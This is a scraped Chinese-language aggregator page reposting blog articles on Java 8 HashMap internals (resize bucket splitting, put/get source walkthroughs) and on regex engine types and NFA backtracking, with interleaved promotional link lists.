    &運算(同為1則為1,否則為0)
    結果:
    0000 0001  ---- 結果為1
    

    結果沒錯,確實應該放到新bucket[1],但怎麼推論出來呢?

        // 1
    	if ((ph & tabLength) == 0){
            // 2
            lowEntryNode = new Node<K,V>(ph, pk, pv, lowEntryNode);
        }
    

    也就是說,假設一個數,滿足1處的條件:(ph & tabLength) == 0,那怎麼推論出2呢,即應該在低位呢?

    ok,條件1,前面分析了,可以得出:

    這個數,第n+1位為0.

    接下來,看看數組長度 – 1這個數。

    數組長度 2的n次方 二進製表示 1出現的位置 數組長度-1 數組長度-1的二進制
    2 2的1次方 0000 0010 第2位 1 0000 0001
    4 2的2次方 0000 0100 第3位 3 0000 0011
    8 2的3次方 0000 1000 第4位 7 0000 0111

    好了,兩個數都有了,

    ???????0???????   -- 1 節點的hashcode,第n + 1位為0
    000000010000000   -- 2 老數組    
    000000100000000   -- 3 新數組的長度,等於老數組長度 * 2
    000000011111111   -- 4 新數組的長度 - 1
        
        運算:1和4相與
        
    
    

    大家注意看紅字部分,還有框出來的那一列,這一列為0,導致,最終結果,肯定是比2那一行的数字小,2這行,不就是老數組的長度嗎,那你比老數組小;你比這一行小,在新數組裡,就只能在低位了。

    反之,如果節點的hashcode,這一位為1,那麼,最終結果,至少是大於等於2這一行的数字,所以,會放在高位。

    參考資料

    https://www.jianshu.com/p/2829fe36a8dd

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※回頭車貨運收費標準

  • HashMap源碼閱讀(java1.8.0)

    HashMap源碼閱讀(java1.8.0)

    1.1 背景知識

    1.1.1 紅黑樹

      二叉查找樹可能因為多次插入新節點導致失去平衡,使得查找效率低,查找的複雜度甚至可能會出現線性的,為了解決因為新節點的插入而導致查找樹不平衡,此時就出現了紅黑樹。

    紅黑樹它一種特殊的二叉查找樹。紅黑樹的每個節點上都有存儲位表示節點的顏色,可以是紅(Red)或黑(Black)。它具有以下特點:

    (1)每個節點或者是黑色,或者是紅色。

    (2)根節點是黑色。

    (3)每個恭弘=叶 恭弘子節點(恭弘=叶 恭弘子節點,是指為空(NIL或NULL)的恭弘=叶 恭弘子節點)是黑色。

    (4)如果一個節點是紅色的,則它的子節點一定是黑色(即從根節點到恭弘=叶 恭弘子節點的路徑上不能有兩個重複的紅色節點)。

    (5)從一個節點到其上每一個恭弘=叶 恭弘節點的所有路徑都具有相同的黑色節點個數。

    紅黑樹的基本操作–添加

    ① 將紅黑樹當作一顆二叉查找樹,將節點插入。

    ② 將插入的節點着色為”紅色”。(因為條件5,從一個節點到其中每一個節點的的所有路徑都具有相同的黑色節點)。

    ③通過一系列的旋轉(左旋或右旋操作)或着色等操作,使之重新成為一顆紅黑樹。

                           

    1.2 源碼

      在java 1.7之前是用數組和鏈表一起組合構成HashMap,在java1.8之後就使用當鏈表長度超過8之後,就會將鏈錶轉化為紅黑樹,縮小查找的時間(紅黑樹維護也會花費大量時間,包含左旋、右旋和變色過程)。

    1.2.1 HashMap的初始化

    hashmap構造函數會初始化三個值:

    • 初始容量initialCapacity:默認值是16,當儲存的數據越來越多的時候,就必須進行擴容操作。
    • 閾值threshold:hashmap的數組結構中所能存放的最大數量,超過該數量,則會對數組進行擴容。閾值的計算方式為:容量(initialCapacity)*負載因子(loadFactor)。
    • 負載因子loadFactor:當負載因子很大時,閾值會很大,table數組擴容的可能性比較小,會使得一個數組中的鏈表(紅黑樹)存放過多的數據,雖然節省了一定的空間,但會導致查詢時間很長。相反負載因子很小時,擴容的可能性會很高,使得數組中的數據變得相對少,查詢時間會縮短,但會花費較長的時間。

      在初始化一個hashmap對象的時候,指定鍵值對的同時,也可以指定初始map的容量大小,假設此處我們指定大小為11,則會在構造函數中調用tableSizeFor將容量改為2的n冪次,即比當前容量大,而且必須是2的指數次冪的最小數,就會變成16。這是因為2的指數次冪便於計算進行位運算操作,提升運行效率問題(位運算>加法>乘法>除法>取模)。

      hashmap的的默認值是16,負載因子默認是0.75,代碼如下:

    //HashMap<String,String> hashMap = new HashMap<String, String>(11);
    
    /**
     * Returns a power of two size for the given target capacity.
     **/
    static final int tableSizeFor(int cap) {
        int n = cap - 1;   //10 防止在cap已經是2的n次冪的情況下
        // >>> 表示不關心符號位,對數據的二進制形式進行右移  |表示或運算
        n |= n >>> 1;	  //15
        n |= n >>> 2;     //15
        n |= n >>> 4;     //15
        n |= n >>> 8;     //15
        n |= n >>> 16;    //15
        return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1; //16
    }
    

    1.2.2 HashMap的put操作

       這裏可以介紹一下&位運算,當我們將一對KV存儲到hashmap當中時,會通過(n – 1) & hash運算來定位將要插入的鍵值對放入到哈希表的某個桶中。其中n表示哈希表的長度,通常n為2的倍數,通過n-1即可n所表示的二進制數,除最高位外,全部轉化為1,藉助與運算即可快速完成取模操作。

     //hashMap.put("2020", "good luck");
    
     /**
      * Implements Map.put and related methods.
      *
      * @param hash hash for key
      * @param key the key
      * @param value the value to put
      * @param onlyIfAbsent if true, don't change existing value
      * @param evict if false, the table is in creation mode.
      * @return previous value, or null if none
      */
    final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
                   boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i;
        //如果hashtable沒有初始化,則初始化該table數組
        if ((tab = table) == null || (n = tab.length) == 0)
            n = (tab = resize()).length; 
        //通過位運算找到數組中的下標位置,如果數組中對應下標為空,則可以直接存放下去
        if ((p = tab[i = (n - 1) & hash]) == null)
            tab[i] = newNode(hash, key, value, null);
        else {
            //數組元素對應的位置已經有元素,產生碰撞
            Node<K,V> e; K k;
            //如果插入的元素key是已經存在的,則將新的value替換掉原來的舊值
            if (p.hash == hash &&
                ((k = p.key) == key || (key != null && key.equals(k))))
                e = p;
            //如果此時table數組對應的位置是紅黑樹結構,則將該節點插入紅黑樹中
            else if (p instanceof TreeNode)
                e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
            else {
                //如果此時table數組對應的位置是鏈表結構
                for (int binCount = 0; ; ++binCount) {
    				//遍歷到數組尾端,沒有與插入鍵值對相同的key,則將新的鍵值對插入鏈表尾部
                    if ((e = p.next) == null) {
                        p.next = newNode(hash, key, value, null);
                        //鏈表過長,將鏈錶轉化為紅黑樹
                        if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
                            treeifyBin(tab, hash);
                        break;
                    }
                    //發現鏈表中的某個節點有與插入鍵值對相同的key,則跳出循環,在循環外部重新賦值
                    if (e.hash == hash &&
                        ((k = e.key) == key || (key != null && key.equals(k))))
                        break;
                    p = e;
                }
            }
            //該key在hashmap已存在,更新與在鏈表跳出循環節點對應的值
            if (e != null) { // existing mapping for key
                V oldValue = e.value;
                if (!onlyIfAbsent || oldValue == null)
                    e.value = value;
                afterNodeAccess(e);
                return oldValue;
            }
        }
        ++modCount;
        //超過閾值則更新
        if (++size > threshold)
            resize();
        afterNodeInsertion(evict);
        return null;
    }
    

    1.2.3 HashMap的get操作

    /**
         * Implements Map.get and related methods.
         *
         * @param hash hash for key
         * @param key the key
         * @return the node, or null if none
         */
        final Node<K,V> getNode(int hash, Object key) {
            Node<K,V>[] tab; Node<K,V> first, e; int n; K k;
            //table數組不為空,且對應的下標位置也不為空。
            if ((tab = table) != null && (n = tab.length) > 0 &&
                (first = tab[(n - 1) & hash]) != null) {
                //如果第一個位置是對應的key,則返回
                if (first.hash == hash && // always check first node
                    ((k = first.key) == key || (key != null && key.equals(k))))
                    return first;
                //遍歷其他元素
                if ((e = first.next) != null) {
                    //紅黑樹
                    if (first instanceof TreeNode)
                        return ((TreeNode<K,V>)first).getTreeNode(hash, key);
                    //鏈表
                    do {
                        if (e.hash == hash &&
                            ((k = e.key) == key || (key != null && key.equals(k))))
                            return e;
                    } while ((e = e.next) != null);
                }
            }
            return null;
        }

    1.2.4 HashMap的擴容操作

        /**
         * Initializes or doubles table size.  If null, allocates in
         * accord with initial capacity target held in field threshold.
         * Otherwise, because we are using power-of-two expansion, the
         * elements from each bin must either stay at same index, or move
         * with a power of two offset in the new table.
         *
         * @return the table
         */
        final Node<K,V>[] resize() {
            Node<K,V>[] oldTab = table;
            int oldCap = (oldTab == null) ? 0 : oldTab.length;
            int oldThr = threshold;
            int newCap, newThr = 0;
            //table不為空,且容量大於0
            if (oldCap > 0) {
                //如果舊的容量到達閾值,則不再擴容,閾值直接設置為最大值
                if (oldCap >= MAXIMUM_CAPACITY) {
                    threshold = Integer.MAX_VALUE;
                    return oldTab;
                }
                //如果舊的容量沒有到達閾值,直接操作
                else if ((newCap = oldCap << 1) < MAXIMUM_CAPACITY &&
                         oldCap >= DEFAULT_INITIAL_CAPACITY)
                    newThr = oldThr << 1; // double threshold
            }
            //閾值大於0,直接使用舊的閾值
            else if (oldThr > 0) // initial capacity was placed in threshold
                newCap = oldThr;
            //如果閾值為零,則使用默認的初始化值
            else {               // zero initial threshold signifies using defaults
                newCap = DEFAULT_INITIAL_CAPACITY;
                newThr = (int)(DEFAULT_LOAD_FACTOR * DEFAULT_INITIAL_CAPACITY);
            }
            if (newThr == 0) {
                float ft = (float)newCap * loadFactor;
                newThr = (newCap < MAXIMUM_CAPACITY && ft < (float)MAXIMUM_CAPACITY ?
                          (int)ft : Integer.MAX_VALUE);
            }
            threshold = newThr;
            //更新數組桶
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] newTab = (Node<K,V>[])new Node[newCap];
            table = newTab;
            //將之前舊數組桶的數據重新移到新數組桶中
            if (oldTab != null) {
                //依次遍歷舊table中每個數組桶的元素
                for (int j = 0; j < oldCap; ++j) {
                    Node<K,V> e;
                    //如果數組桶中含有元素
                    if ((e = oldTab[j]) != null) {
                        //將下標數據清空
                        oldTab[j] = null;
                        //如果元組的某一桶中只有一個元素,則直接將該元素移到新的位置去
                        if (e.next == null)
                            newTab[e.hash & (newCap - 1)] = e;
                        //如果是紅黑樹結構
                        else if (e instanceof TreeNode)
                            ((TreeNode<K,V>)e).split(this, newTab, j, oldCap);
                         //鏈表 -- 對舊桶里鏈表中的每一個元素重新計算哈希值得到下標
                        else { // preserve order
                            //將原先桶中的鏈表分為兩個鏈表
                            Node<K,V> loHead = null, loTail = null;
                            Node<K,V> hiHead = null, hiTail = null;
                            Node<K,V> next;
                            do {
                                next = e.next;
                                /*
                                 * e.hash & oldCap 對hash取模運算,
                                 * 雖然數組大小擴大了一倍,
                                 * 但是同一個key在新舊table中對應的index卻存在一定聯繫: 
                                 * 要麼一致,要麼相差一個 oldCap。
                                 */
                                if ((e.hash & oldCap) == 0) {
                                    if (loTail == null)
                                        loHead = e;
                                    else
                                        loTail.next = e;
                                    loTail = e;
                                }
                                else {
                                    if (hiTail == null)
                                        hiHead = e;
                                    else
                                        hiTail.next = e;
                                    hiTail = e;
                                }
                            } while ((e = next) != null);
                            if (loTail != null) {
                                loTail.next = null;
                                newTab[j] = loHead;
                            }
                            if (hiTail != null) {
                                hiTail.next = null;
                                newTab[j + oldCap] = hiHead;
                            }
                        }
                    }
                }
            }
            return newTab;
        }
    

      此處在處理鏈表的時候,如何將鏈表中的節點重新分配到新的哈希表需要做一些解釋。在擴容的時候,將原來的哈希表擴大了一倍,原來屬於同一個桶中的數據會被重新分配,此時取模運算時(a mod b),會注意到,b會擴大兩倍(a mod 2b),此時如果該桶中的某一個數據的哈希值是c1(0<c<b),則它必定還是會落入原來的位置,而如果桶中的某一個數據的哈希值是c2(b<c2<2b),則它會被重新分配到一個新的位置(這個位置是原先的哈希桶位置+舊桶的大小)。

    HashMap在多線程的情況下出現的死循環現象

      在某些java版本中擴容機制如果使用鏈表,且再插入時使用尾插法會出現死循環,具體原因可以參考老生常談,HashMap的死循環,在本文中所參考的java版本使用了頭插法的方式將元素添加到鏈表當中,可以避免死循環的出現,但是會出現一部分節點丟失的問題。如圖:

      假設原始的哈希map的某個桶的數據如下,此時線程開始擴容,將桶中的數據分配到lo和hi桶的鏈表中。

       初始時刻線程1和線程2開始運行,線程1在執行完以下代碼后,線程1的時間片運行結束。線程1運行的結果如圖所示

      線程2與線程1同時運行,線程2的時間片未用完,還在繼續執行,根據代碼的分配策略,線程2直到時間片運行結束,出現如圖所示的結果:

       此時CPU的時間片又被分配到了線程1,線程1繼續運行,因為此時A所在的鏈表結構已經發生了變化,只能處理A,B,D三個元素。此時線程1創建的hashmap如圖:

     

     參考資料

      教你初步了解紅黑樹

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※超省錢租車方案

    ※教你寫出一流的銷售文案?

    網頁設計最專業,超強功能平台可客製化

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

  • 深入正則表達式(3):正則表達式工作引擎流程分析與原理釋義

    作為正則的使用者也一樣,不懂正則引擎原理的情況下,同樣可以寫出滿足需求的正則,但是不知道原理,卻很難寫出高效且沒有隱患的正則。所以對於經常使用正則,或是有興趣深入學習正則的人,還是有必要了解一下正則引擎的匹配原理的。

    有興趣可以回顧《深入正則表達式(0):正則表達式概述》

    正則引擎類型

    正則引擎主要可以分為兩大類:一種是DFA(Deterministic Finite Automatons/確定性有限自動機—),一種是NFA(Nondeterministic Finite Automatons/非確定性有限自動機)。總的來說,

    • DFA可以稱為文本主導的正則引擎

    • NFA可以稱為表達式主導的正則引擎

    NFA與DFA工作的區別:

    我們常常說用正則去匹配文本,這是NFA的思路,DFA本質上其實是用文本去匹配正則

    'for tonight's'.match(/to(nite|knite|night)/);
    • 如果是NFA引擎,表達式佔主導地位。在字符串先查找字符串中的t,然後依次匹配,如果是o,則繼續(以此循環)。匹配到to后,到n,就面臨三種選擇,每一種都去嘗試匹配一下(它也不嫌累),第一個分支也是依次匹配,到t這裏停止(nite分到t這裏直接被淘汰);同理,接着第二個分支在k這裏也停止了;終於在第三個分支柳暗花明,找到了自己的歸宿。 NFA 工作方式是以正則表達式為標準,反覆測試字符串,這樣同樣一個字符串有可能被反覆測試了很多次!

    • 如果是DFA引擎呢,文本佔主導地位。從整個字符串第一個字符開始f開始查找t,查找到t后,定位到t,以知其後為o,則去查看正則表達式其相應位置后是否為o,如果是,則繼續(以此循環),再去查正則表達式o后是否為n(此時淘汰knite分支),再后是否為g(淘汰nite分支),這個時候只剩一個分支,直接匹配到終止即可。

    只有正則表達式才有分支和範圍,文本僅僅是一個字符流。這帶來什麼樣的後果?就是NFA引擎在匹配失敗的時候,如果有其他的分支或者範圍,它會返回,記住,返回,去嘗試其他的分支而DFA引擎一旦匹配失敗,就結束了,它沒有退路。

    這就是它們之間的本質區別。其他的不同都是這個特性衍生出來的。

    NFA VS DFA

    首先,正則表達式在計算機看來只是一串符號,正則引擎首先肯定要解析它。NFA引擎只需要編譯就好了;而DFA引擎則比較繁瑣,編譯完還不算,還要遍歷出表達式中所有的可能。因為對DFA引擎來說機會只有一次,它必須得提前知道所有的可能,才能匹配出最優的結果。

    所以,在編譯階段,NFA引擎比DFA引擎快

     

    其次,DFA引擎在匹配途中一遍過,溜得飛起。相反NFA引擎就比較苦逼了,它得不厭其煩的去嘗試每一種可能性,可能一段文本它得不停返回又匹配,重複好多次。當然運氣好的話也是可以一遍過的。

    所以,在運行階段,NFA引擎比DFA引擎慢

     

    最後,因為NFA引擎是表達式佔主導地位,所以它的表達能力更強,開發者的控制度更高,也就是說開發者更容易寫出性能好又強大的正則來,當然也更容易造成性能的浪費甚至撐爆CPU。DFA引擎下的表達式,只要可能性是一樣的,任何一種寫法都是沒有差別(可能對編譯有細微的差別)的,因為對DFA引擎來說,表達式其實是死的。而NFA引擎下的表達式,高手寫的正則和新手寫的正則,性能可能相差10倍甚至更多。

    也正是因為主導權的不同,正則中的很多概念,比如非貪婪模式、反向引用、零寬斷言等只有NFA引擎才有。

    所以,在表達能力上,NFA引擎秒殺DFA引擎

     

    但是NFA以表達式為主導,因而NFA更容易操縱,因此一般程序員更偏愛NFA引擎!

    當今市面上大多數正則引擎都是NFA引擎,應該就是勝在表達能力上。

     

    總體來說,兩種引擎的工作方式完全不同,一個(NFA)以表達式為主導,一個(DFA)以文本為主導!兩種引擎各有所長,而真正的引用則取決與你的需要以及所使用的語言。

    這兩種引擎都有了很久的歷史(至今二十多年),當中也由這兩種引擎產生了很多變體!

    因為NFA引擎比較靈活,很多語言在實現上有細微的差別。所以後來大家弄了一個標準,符合這個標準的正則引擎就叫做POSIX NFA引擎,其餘的就只能叫做傳統型NFA引擎咯。

    Deterministic finite automaton,Non-deterministic finite automaton,Traditional NFA,Portable Operating System Interface for uniX NFA

    於是POSIX的出台規避了不必要變體的繼續產生。這樣一來,主流的正則引擎又分為3類:DFA,傳統型NFA,POSIX NFA。

    正則引擎三國

    DFA引擎

    DFA引擎在線性時狀態下執行,因為它們不要求回溯(並因此它們永遠不測試相同的字符兩次)。

    DFA引擎還可以確保匹配最長的可能的字符串。但是,因為 DFA 引擎只包含有限的狀態,所以它不能匹配具有反向引用的模式;並且因為它不構造显示擴展,所以它不可以捕獲子表達式。

    DFN不回溯,所以匹配快速,因而不支持捕獲組,支持反向引用和$number引用

    傳統的 NFA引擎

    傳統的 NFA 引擎運行所謂的“貪婪的”匹配回溯算法,以指定順序測試正則表達式的所有可能的擴展並接受第一個匹配項。因為傳統的 NFA 構造正則表達式的特定擴展以獲得成功的匹配,所以它可以捕獲子表達式匹配和匹配的反向引用。但是,因為傳統的 NFA 回溯,所以它可以訪問完全相同的狀態多次(如果通過不同的路徑到達該狀態)。因此,在最壞情況下,它的執行速度可能非常慢。因為傳統的 NFA 接受它找到的第一個匹配,所以它還可能會導致其他(可能更長)匹配未被發現

    大多數編程語言和工具使用的是傳統型的NFA引擎,它有一些DFA不支持的特性:

    • 捕獲組、反向引用和$number引用方式;

    • 環視(Lookaround,(?<=…)、(?<!…)、(?=…)、(?!…)),或者有的有文章叫做預搜索;

    • 忽略優化量詞(??、*?、+?、{m,n}?、{m,}?),或者有的文章叫做非貪婪模式;

    • 佔有優先量詞(?+、*+、++、{m,n}+、{m,}+,目前僅Java和PCRE支持),固化分組(?>…)。

    POSIX NFA引擎

    POSIX NFA引擎主要指符合POSIX標準的NFA引擎,與傳統的 NFA 引擎類似,不同的一點在於:提供longest-leftmost匹配,也就是在找到最左側最長匹配之前,它將繼續回溯(可以確保已找到了可能的最長的匹配之前它們將繼續回溯)。因此,POSIX NFA 引擎的速度慢於傳統的 NFA 引擎;並且在使用 POSIX NFA 時,您恐怕不會願意在更改回溯搜索的順序的情況下來支持較短的匹配搜索,而非較長的匹配搜索。

    同DFA一樣,非貪婪模式或者說忽略優先量詞對於POSIX NFA同樣是沒有意義的。

    三種引擎的使用情況

    • 使用傳統型NFA引擎的程序主要有(主流):

      • Java、Emacs(JavaScript/actionScript)、Perl、PHP、Python、Ruby、.NET語言

      • VI,GNU Emacs,PCRE library,sed;

    • 使用POSIX NFA引擎的程序主要有:mawk,Mortice Kern Systems’ utilities,GNU Emacs(使用時可以明確指定);

    • 使用DFA引擎的程序主要有:awk,egrep,flex,lex,MySQL,Procmail等;

    • 也有使用DFA/NFA混合的引擎:GNU awk,GNU grep/egrep,Tcl。

     

    《精通正則表達式》書中說POSIX NFA引擎不支持非貪婪模式,很明顯JavaScript不是POSIX NFA引擎。

    '123456'.match(/\d{3,6}/);
    // ["123456", index: 0, input: "123456", groups: undefined]
    '123456'.match(/\d{3,6}?/);
    // ["123", index: 0, input: "123456", groups: undefined]

    JavaScript的正則引擎是傳統型NFA引擎。

    為什麼POSIX NFA引擎不支持也沒有必要支持非貪婪模式?

    回溯

    現在我們知道,NFA引擎是用表達式去匹配文本,而表達式又有若干分支和範圍,一個分支或者範圍匹配失敗並不意味着最終匹配失敗,正則引擎會去嘗試下一個分支或者範圍。

    正是因為這樣的機制,引申出了NFA引擎的核心特點——回溯。

    首先我們要區分備選狀態和回溯。

    什麼是備選狀態?就是說這一個分支不行,那我就換一個分支,這個範圍不行,那我就換一個範圍。正則表達式中可以商榷的部分就叫做備選狀態。

    備選狀態可以實現模糊匹配,是正則表達能力的一方面。

    回溯可不是個好東西。想象一下,面前有兩條路,你選擇了一條,走到盡頭髮現是條死路,你只好原路返回嘗試另一條路。這個原路返回的過程就叫回溯,它在正則中的含義是吐出已經匹配過的文本。

    我們來看兩個例子:

    'abbbc'.match(/ab{1,3}c/);
    // ["abbbc", index: 0, input: "abbbc", groups: undefined]
    'abc'.match(/ab{1,3}c/);
    // ["abc", index: 0, input: "abc", groups: undefined]

    第一個例子,第一次a匹配a成功,接着碰到貪婪匹配,不巧正好是三個b貪婪得逞,最後用c匹配c成功。

    正則 文本
    /a/ a
    /ab{1,3}/ ab
    /ab{1,3}/ abb
    /ab{1,3}/ abbb
    /ab{1,3}c/ abbbc

    第二個例子的區別在於文本只有一個b。所以表達式在匹配第一個b成功後繼續嘗試匹配b,然而它見到的只有黃臉婆c。不得已將c吐出來,委屈一下,畢竟貪婪匹配也只是盡量匹配更多嘛,還是要臣服於匹配成功這個目標。最後不負眾望用c匹配c成功。

    正則 文本
    /a/ a
    /ab{1,3}/ ab
    /ab{1,3}/ abc
    /ab{1,3}/ ab
    /ab{1,3}c/ abc

    請問,第二個例子發生回溯了嗎?

    並沒有。

    誒,你這樣就不講道理了。不是把c吐出來了嘛,怎麼就不叫回溯了?

    回溯是吐出已經匹配過的文本。匹配過程中造成的匹配失敗不算回溯

    為了讓大家更好的理解,我舉一個例子:

    你和一個女孩子(或者男孩子)談戀愛,接觸了半個月後發現實在不合適,於是提出分手。這不叫回溯,僅僅是不合適而已。

    你和一個女孩子(或者男孩子)談戀愛,這段關係維持了兩年,並且已經同居。但由於某些不可描述的原因,疲憊掙扎之後,兩人最終還是和平分手。這才叫回溯。

    雖然都是分手,但你們應該能理解它們的區別吧。

    為了讓大家更好的理解,我舉一個例子:

    你和一個女孩子(或者男孩子)談戀愛,接觸了半個月後發現實在不合適,於是提出分手。這不叫回溯,僅僅是不合適而已。

    你和一個女孩子(或者男孩子)談戀愛,這段關係維持了兩年,並且已經同居。但由於某些不可描述的原因,疲憊掙扎之後,兩人最終還是和平分手。這才叫回溯。

    雖然都是分手,但你們應該能理解它們的區別吧。

    網絡上有很多文章都認為上面第二個例子發生了回溯。至少根據我查閱的資料,第二個例子發生的情況不能被稱為回溯。當然也有可能我([馬蹄疾]是錯的,歡迎討論。

    我們再來看一個真正的回溯例子:

    'ababc'.match(/ab{1,3}c/);
    // ["abc", index: 2, input: "ababc", groups: undefined]

    匹配文本到ab為止,都沒什麼問題。後面既匹配不到b,也匹配不到c。引擎只好將文本ab吐出來,從下一個位置開始匹配。因為上一次是從第一個字符a開始匹配,所以下一個位置當然就是從第二個字符b開始咯。

    正則 文本
    /a/ a
    /ab{1,3}/ ab
    /ab{1,3}/ aba
    /ab{1,3}/ ab
    /ab{1,3}c/ aba
    /a/ ab
    /a/ aba
    /ab{1,3}/ abab
    /ab{1,3}/ ababc
    /ab{1,3}/ abab
    /ab{1,3}c/ ababc

    一開始引擎是以為會和最早的ab走完餘生的,然而命運弄人,從此天涯。

    這他媽才叫回溯!

    還有一個細節。上面例子中的回溯並沒有往回吐呀,吐出來之後不應該往回走嘛,怎麼往後走了?

    我們再來看一個例子:

    '"abc"def'.match(/".*"/);
    // [""abc"", index: 0, input: ""abc"def", groups: undefined]

    因為.*是貪婪匹配,所以它把後面的字符都吞進去了。直到發現目標完不成,不得已往回吐,吐到第二個”為止,終於匹配成功。這就好比結了婚還在外面養小三,幾經折騰才發現家庭才是最重要的,自己的行為背離了初衷,於是幡然悔悟。

    正則 文本
    /”/
    /”.*/ “a
    /”.*/ “ab
    /”.*/ “abc
    /”.*/ “abc”
    /”.*/ “abc”d
    /”.*/ “abc”de
    /”.*/ “abc”def
    /”.*”/ “abc”def
    /”.*”/ “abc”de
    /”.*”/ “abc”d
    /”.*”/ “abc”

    我想說的是,不要被回溯的回字迷惑了。它的本質是把已經吞進去的字符吐出來。至於吐出來之後是往回走還是往後走,是要根據情況而定的。

    優化正則表達式

    現在我們知道了控制回溯是控制正則表達式性能的關鍵。

    控制回溯又可以拆分成兩部分:第一是控製備選狀態的數量,第二是控製備選狀態的順序。

    備選狀態的數量當然是核心,然而如果備選狀態雖然多,卻早早的匹配成功了,早匹配早下班,也就沒那麼多糟心事了。

    傳統NFA工作流程

    許多因素影響正則表達式的效率,首先,正則表達式適配的文本千差萬別,部分匹配時比完全不匹配所用的時間要長。上面提到過,JavaScript是傳統NFA引擎,當然每種瀏覽器的正則表達式引擎也有不同的內部優化。

    為了有效地使用正則表達式,重要的是理解它們的工作原理。下面是一個正則表達式處理的基本步驟:

    第一步:編譯

    當你創建了一個正則表達式對象之後(使用一個正則表達式直接量或者RegExp構造器),瀏覽器檢查你的模板有沒有錯誤,然後將它轉換成一個本機代碼例程,用於執行匹配工作。如果你將正則表達式賦給一個變量,你可以避免重複執行此步驟。

    第二步:設置起始位置

    當一個正則表達式投入使用時,首先要確定目標字符串中開始搜索的位置。它是字符串的起始位置,或由正則表達式的lastIndex屬性指定,但是當它從第四步返回到這裏的時候(因為嘗試匹配失敗),此位置將位於最後一次嘗試起始位置推后一個字符的位置上。

          瀏覽器優化正則表達式引擎的辦法是,在這一階段中通過早期預測跳過一些不必要的工作。例如,如果一個正則表達式以^開頭,IE 和Chrome通常判斷在字符串起始位置上是否能夠匹配,然後可避免愚蠢地搜索後續位置。另一個例子是匹配第三個字母是x的字符串,一個聰明的辦法是先找到x,然後再將起始位置回溯兩個字符。

    第三步:匹配每個正則表達式的字元

          正則表達式一旦找好起始位置,它將一個一個地掃描目標文本和正則表達式模板。當一個特定字元匹配失敗時,正則表達式將試圖回溯到掃描之前的位置上,然後進入正則表達式其他可能的路徑上。

          第四步:匹配成功或失敗

          如果在字符串的當前位置上發現一個完全匹配,那麼正則表達式宣布成功。如果正則表達式的所有可能路徑都嘗試過了,但是沒有成功地匹配,那麼正則表達式引擎回到第二步,從字符串的下一個字符重新嘗試。只有字符串中的每個字符(以及最後一個字符後面的位置)都經歷了這樣的過程之後,還沒有成功匹配,那麼正則表達式就宣布徹底失敗。

          牢記這一過程將有助於您明智地判別那些影響正則表達式性能問題的類型。

     

    工具

    [ regex101 ]是一個很多人推薦過的工具,可以拆分解釋正則的含義,還可以查看匹配過程,幫助理解正則引擎。如果只能要一個正則工具,那就是它了。

    [ regexper ]是一個能讓正則的備選狀態可視化的工具,也有助於理解複雜的正則語法。

     

    參考文章:

     https://baike.baidu.com/item/正則表達式

    正則表達式工作原理 https://www.cnblogs.com/aaronjs/archive/2012/06/30/2570800.html

    一次性搞懂JavaScript正則表達式之引擎 https://juejin.im/post/5becc2aef265da6110369c93

     

    轉載本站文章《深入正則表達式(3):正則表達式工作引擎流程分析與原理釋義》,
    請註明出處:https://www.zhoulujun.cn/html/theory/algorithm/IntroductionAlgorithms/8430.html

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※推薦台中搬家公司優質服務,可到府估價